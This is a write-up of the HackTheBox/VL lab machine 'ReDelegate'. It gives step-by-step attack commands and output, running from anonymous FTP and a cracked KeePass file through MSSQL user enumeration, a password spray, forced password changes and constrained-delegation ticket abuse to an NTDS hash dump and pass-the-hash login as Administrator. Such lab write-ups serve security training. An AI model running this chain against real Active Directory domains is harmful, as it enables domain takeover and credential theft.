Post

ReDelegate - VL

ReDelegate - VL

ReDelegate - Powers to low differently

ReDelegate is another box from VL on HackTheBox. It’s a neat box where I start off with anonymous FTP access and discover a kdbx file. I have to crack the password and read other useful documents from the FTP. I cannot rid-brute since I only have MSSQL access, but I can rid-brute via an MSSQL query or a Metasploit module. After that, I figure out the password using the information in the files obtained from FTP. Getting authentication as Marie.Curie, I run BloodHound and see that the Marie.Curie user has Force-Change-Password over Helen.Frost. This user can use WinRM and has SeEnableDelegation, same as the Delegate box, but here Helen.Frost has generic write on the FS01$ computer, which can be used to perform constrained-delegation attacks.

Recon

Nmap

As Always, I’ll start off with nmap to see what we are up against,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  ReDelegate clean_nmap scanned
10.129.172.212 => 21/tcp => ftp Microsoft ftpd
10.129.172.212 => 53/tcp => domain Simple DNS Plus
10.129.172.212 => 80/tcp => http Microsoft IIS httpd 10.0
10.129.172.212 => 88/tcp => kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-15 21:25:32Z)
10.129.172.212 => 135/tcp => msrpc Microsoft Windows RPC
10.129.172.212 => 139/tcp => netbios-ssn Microsoft Windows netbios-ssn
10.129.172.212 => 389/tcp => ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
10.129.172.212 => 445/tcp => microsoft-ds?
10.129.172.212 => 464/tcp => kpasswd5?
10.129.172.212 => 593/tcp => ncacn_http Microsoft Windows RPC over HTTP 1.0
10.129.172.212 => 636/tcp => tcpwrapped
10.129.172.212 => 1433/tcp => ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
10.129.172.212 => 3268/tcp => ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
10.129.172.212 => 3269/tcp => tcpwrapped
10.129.172.212 => 3389/tcp => ms-wbt-server Microsoft Terminal Services
1
2
3
4
5
6
7
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24  01:11AM                  434 CyberAudit.txt
| 10-20-24  05:14AM                 2622 Shared.kdbx
|_10-20-24  01:26AM                  580 TrainingAgenda.txt

clean_nmap is just a zshrc function and scanned is the actual nmap output saved as scanned.

FTP

As from the scan, it shows that FTP anonymous login is allowed and it does have some files. I’ll download all of them and take a look at them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  ReDelegate ftp [email protected]
Connected to 10.129.234.50.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
<SNIP>
ftp> binary
200 Type set to I.
ftp> mget *
<SNIP>
226 Transfer complete.
580 bytes received in 00:00 (5.45 KiB/s)
ftp> exit
221 Goodbye.

➜  ReDelegate ls
CyberAudit.txt  Shared.kdbx  TrainingAgenda.txt

CybeAduit.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
OCTOBER 2024 AUDIT FINDINGS

[!] CyberSecurity Audit findings:

1) Weak User Passwords
2) Excessive Privilege assigned to users
3) Unused Active Directory objects
4) Dangerous Active Directory ACLs

[*] Remediation steps:

1) Prompt users to change their passwords: DONE
2) Check privileges for all users and remove high privileges: DONE
3) Remove unused objects in the domain: IN PROGRESS
4) Recheck ACLs: IN PROGRESS

TrainingAgenda.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
EMPLOYEE CYBER AWARENESS TRAINING AGENDA (OCTOBER 2024)

Friday 4th October  | 14.30 - 16.30 - 53 attendees
"Don't take the bait" - How to better understand phishing emails and what to do when you see one


Friday 11th October | 15.30 - 17.30 - 61 attendees
"Social Media and their dangers" - What happens to what you post online?


Friday 18th October | 11.30 - 13.30 - 7 attendees
"Weak Passwords" - Why "SeasonYear!" is not a good password


Friday 25th October | 9.30 - 12.30 - 29 attendees
"What now?" - Consequences of a cyber attack and how to mitigate them

Both are interesting to me: the first one discusses excessive privileges assigned to users, and the second one describes the SeasonYear! password scheme.

I could make a list of users and brute SeasonYear! passwords, but I don’t have a way to brute-force the RIDs to get a list of users. However, there is a Shared.kdbx. Sadly, rockyou.txt didn’t work on it, so I’ll try to create a list of passwords that might work. As mentioned in the TrainingAgenda.txt, I’ll use that information to build a small wordlist, which does work for cracking the hash.

1
2
3
4
5
6
7
8
9
10
11
12
➜  ReDelegate keepass2john Shared.kdbx > shared.hash
➜  ReDelegate cat pass.txt
Spring2024!
Summer2024!
Fall2024!
Autumn2024!
Winter2024!
➜  ReDelegate john shared.hash -w=pass.txt
<SNIP>
Press 'q' or Ctrl-C to abort, almost any other key for status
Fall2024!        (Shared)
<SNIP>

I’ll dump it via keepassxc-cli.

1
2
3
4
5
6
7
8
9
10
11
➜  ReDelegate echo 'Fall2024!' | keepassxc-cli export -f csv  Shared.kdbx
Enter password to unlock Shared.kdbx:
KdbxXmlReader::readDatabase: found 1 invalid group reference(s)
"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"
"Shared/IT","FTP","FTPUser","SguPZBKdRyxWzvXRWy6U","","Deprecated","","0","2024-10-20T07:56:58Z","2024-10-20T07:56:20Z"
"Shared/IT","FS01 Admin","Administrator","Spdv41gg4BlBgSYIW1gF","","","","0","2024-10-20T07:57:21Z","2024-10-20T07:57:02Z"
"Shared/IT","WEB01","WordPress Panel","cn4KOEgsHqvKXPjEnSD9","","","","0","2024-10-20T08:00:25Z","2024-10-20T07:57:24Z"
"Shared/IT","SQL Guest Access","SQLGuest","zDPBpaF4FywlqIv11vii","","","","0","2024-10-20T08:27:09Z","2024-10-20T08:26:48Z"
"Shared/HelpDesk","KeyFob Combination","","22331144","","","","0","2024-10-20T12:12:32Z","2024-10-20T12:12:09Z"
"Shared/Finance","Timesheet Manager","Timesheet","hMFS4I0Kj8Rcd62vqi5X","","","","0","2024-10-20T12:14:18Z","2024-10-20T12:13:30Z"
"Shared/Finance","Payrol App","Payroll","cVkqz4bCM7kJRSNlgx2G","","","","0","2024-10-20T12:14:11Z","2024-10-20T12:13:50Z"

None of those password works but the MSSQL one does.

1
2
3
➜  ReDelegate NetExec mssql 10.129.234.50 -u 'SQLGuest' -p 'zDPBpaF4FywlqIv11vii'  --local-auth
MSSQL       10.129.234.50   1433   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl)
MSSQL       10.129.234.50   1433   DC               [+] DC\SQLGuest:zDPBpaF4FywlqIv11vii

The creds only works for MSSQL where I only have guest access. Since I know the password scheme, I only need valid users list.

Auth as Marie.Curie

User Enum via MSSQL

I remember watching IppSec’s video on the Multimaster machine where he wrote a script to do it. I could, however, steal the NTLM hash but wouldn’t be able to crack it. There is a Metasploit module for it:

auxiliary/admin/mssql/mssql_enum_domain_accounts,

which makes it much easier to enumerate domain users. The way IppSec showed in his video is exactly what’s in this article basically.
The article explains that you would need to take a sample RID using SUSER_SID and use that to further enumerate users.

1
2
3
SQL (SQLGuest  guest@master)> select SUSER_SID('REDELEGATE\Domain Admins');
-----------------------------------------------------------
b'010500000000000515000000a185deefb22433798d8e847a00020000'
  • RID = 010500000000000515000000a185deefb22433798d8e847a00020000
  • SID = 010500000000000515000000a185deefb22433798d8e847a
    To enumerate users, I’ll need to convert the RID to hex, reverse the order of the hex, and add proper padding.

For example:
Administrator’s SID is 500, which is 1F4 in hex. Reversing the order and adding a leading 0 gives 04F1, then pad to 8 bytes: 04F10000. The query would look like this:

1
2
3
4
SQL (SQLGuest  guest@master)> select SUSER_SNAME(0x010500000000000515000000a185deefb22433798d8e847aF4010000);

-----------------------------
WIN-Q13O908QBPG\Administrator

After 500, I can continue incrementing (501, 502, and so on).

I could write a Bash script or Python one to enumerate through. But I’ll go with msf module.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  /tmp cat run.rc
use auxiliary/admin/mssql/mssql_enum_domain_accounts
set PASSWORD zDPBpaF4FywlqIv11vii
set USERNAME SQLGuest
set RHOSTS 10.129.234.50
➜  /tmp msfconsole -r run.rc
<SNIP>
[*] Processing run.rc for ERB directives.
resource (run.rc)> use auxiliary/admin/mssql/mssql_enum_domain_accounts
resource (run.rc)> set PASSWORD zDPBpaF4FywlqIv11vii
PASSWORD => zDPBpaF4FywlqIv11vii
resource (run.rc)> set USERNAME SQLGuest
USERNAME => SQLGuest
resource (run.rc)> set RHOSTS 10.129.234.50
RHOSTS => 10.129.234.50

That gave me list of usernames, I can clean them and save to enumerate further.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  ReDelegate cat users.txt | awk '{print $5}' | sed 's/.*\\//' > clean.txt; cat clean.txt
SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG
DC$
FS01$
Christine.Flanders
Marie.Curie
Helen.Frost
Michael.Pontiac
Mallory.Roberts
James.Dinkleberg
Helpdesk
IT
Finance
DnsAdmins
DnsUpdateProxy
Ryan.Cooper
sql_svc

If you want to take a look at how to do it manually with a bash script, check out how 0xdf did it.

Password Spraying

Since the password Fall2024! worked for the keepass db, the password must be reused somewhere. I can test that quickly with nxc.

1
2
3
4
5
6
7
➜  ReDelegate nxc smb 10.129.234.50 -u users.txt -p 'Fall2024!'
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [-] redelegate.vl\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG:Fall2024! STATUS_LOGON_FAILURE
SMB         10.129.234.50   445    DC               [-] redelegate.vl\DC$:Fall2024! STATUS_LOGON_FAILURE
SMB         10.129.234.50   445    DC               [-] redelegate.vl\FS01$:Fall2024! STATUS_LOGON_FAILURE
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Christine.Flanders:Fall2024! STATUS_LOGON_FAILURE
SMB         10.129.234.50   445    DC               [+] redelegate.vl\Marie.Curie:Fall2024!

I did get a hit on Marie.Curie, having a valid AD user I’ll collect BloodHound data with bloodhound-ce-python and loaded it up in BloodHound-CE Docker.

Shell as Helen.Frost

1
➜  ReDelegate bloodhound-ce-python  -u $U  -p $P -c All -d $DOMAIN --nameserver $IP --zip

I’ll mark Marie.Curie as owned and clicking on Shortest Path from Owned Objects leads me to a clear path.

Marie.Curie can force-change the password of Helen.Frost due to being a member of HelpDesk, and Helen.Frost has GenericAll access over the FS01$ computer account. On top of that, this user can WinRM into the box.

I’ll change the password of helen.frost via change-password module of NetExec and get onto the box.

1
2
3
4
➜  ReDelegate nxc smb 10.129.234.50 -u 'Marie.Curie' -p 'Fall2024!' -M change-password -o USER=helen.frost NEWPASS=xf1234
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\Marie.Curie:Fall2024!
CHANGE-P... 10.129.234.50   445    DC               [+] Successfully changed password for helen.frost

Shell as Administrator

The password is changed and I can winrm, rather I’ll just execute commands through nxc to check what perms does this user have since the files from FTP talked about users having dangerous perms.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  ReDelegate nxc winrm 10.129.234.50 -u 'Helen.Frost' -p 'xf1234' -X "whoami /priv"
WINRM       10.129.234.50   5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl)
WINRM       10.129.234.50   5985   DC               [+] redelegate.vl\Helen.Frost:xf1234 (Pwn3d!)
WINRM       10.129.234.50   5985   DC               [+] Executed command (shell type: powershell)
WINRM       10.129.234.50   5985   DC
WINRM       10.129.234.50   5985   DC               PRIVILEGES INFORMATION
WINRM       10.129.234.50   5985   DC               ----------------------
WINRM       10.129.234.50   5985   DC
WINRM       10.129.234.50   5985   DC               Privilege Name                Description                                                    State
WINRM       10.129.234.50   5985   DC               ============================= ============================================================== =======
WINRM       10.129.234.50   5985   DC               SeMachineAccountPrivilege     Add workstations to domain                                     Enabled
WINRM       10.129.234.50   5985   DC               SeChangeNotifyPrivilege       Bypass traverse checking                                       Enabled
WINRM       10.129.234.50   5985   DC               SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation Enabled
WINRM       10.129.234.50   5985   DC               SeIncreaseWorkingSetPrivilege Increase a process working set                                 Enabled

Constrained Delegation

Indeed, the Helen.Frost user has SeEnableDelegationPrivilege, which is a dangerous one. I abused the same privilege on Delegate, where I had a machine quota of 10, but here I don’t.

1
2
3
4
5
➜  ReDelegate nxc ldap 10.129.234.50 -u 'Helen.Frost' -p 'xf1234' -M maq
LDAP        10.129.234.50   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.50   389    DC               [+] redelegate.vl\Helen.Frost:xf1234
MAQ         10.129.234.50   389    DC               [*] Getting the MachineAccountQuota
MAQ         10.129.234.50   389    DC               MachineAccountQuota: 0

So, no chance of performing Unconstrained Delegation, but as I saw from BloodHound data, I have the FS01$ computer on which the Helen.Frost user has GenericAll which meets the condition to perform this Constrained Delegation. I’ll change the password of the computer account and set the -TrustedToAuthForDelegation flag to its identity, along with the msDS-AllowedToDelegateTo LDAP attribute.

I’ll winrm onto the box rather than executing through netexec.

1
2
evil-winrm-py PS C:\Users\Helen.Frost\Documents> Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True
evil-winrm-py PS C:\Users\Helen.Frost\Documents> Set-ADObject -Identity "CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL" -Add @{"msDS-AllowedToDelegateTo"="ldap/dc.redelegate.vl"}

Now, this computer is acting as an LDAP service. I can request a service ticket and perform DCsync. First, I’ll have to change the password of this computer account, which I can again do via netexec.

1
2
3
4
➜  ReDelegate nxc smb 10.129.234.50 -u 'Helen.Frost' -p 'xf1234' -M change-password -o USER=FS01$ NEWPASS='xf321'
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\Helen.Frost:xf1234
CHANGE-P... 10.129.234.50   445    DC               [+] Successfully changed password for FS01$
1
2
3
➜  ReDelegate nxc smb 10.129.234.50 -u 'FS01$' -p 'xf321'
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\FS01$:xf321

Now I can request a service ticket for ldap and impersonate DC.

1
2
3
4
5
6
7
8
9
➜  ReDelegate getST.py 'redelegate.vl/FS01$:xf321' -spn ldap/dc.redelegate.vl -impersonate dc
Impacket v0.13.0.dev0+20250814.3907.9282c9bb - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@[email protected]
1
2
3
4
➜  ReDelegate export KRB5CCNAME=dc@[email protected]
➜  ReDelegate nxc smb 10.129.234.50 --use-kcache
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\dc from ccache

With this valid ticket of the DC itself, I can dump the hashes and WinRM as Administrator.

1
2
3
4
5
6
7
➜  ReDelegate nxc smb 10.129.234.50 --use-kcache --ntds
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\dc from ccache
SMB         10.129.234.50   445    DC               [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB         10.129.234.50   445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.129.234.50   445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::
<SNIP>

I can now grab root.txt.

1
2
3
4
5
6
7
8
9
10
➜  ReDelegate evil-winrm-py -i 10.129.234.50 -u  Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7
          _ _            _
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.4.1

[*] Connecting to '10.129.234.50:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
b0bceda598ded257........

This was another amazing box by Geiseric. He is also the creator of Delegate box and other really good AD boxes. I learned a lots of new techniques from this box. Thanks for reading the writeup.

PEPE

This post is licensed under CC BY 4.0 by the author.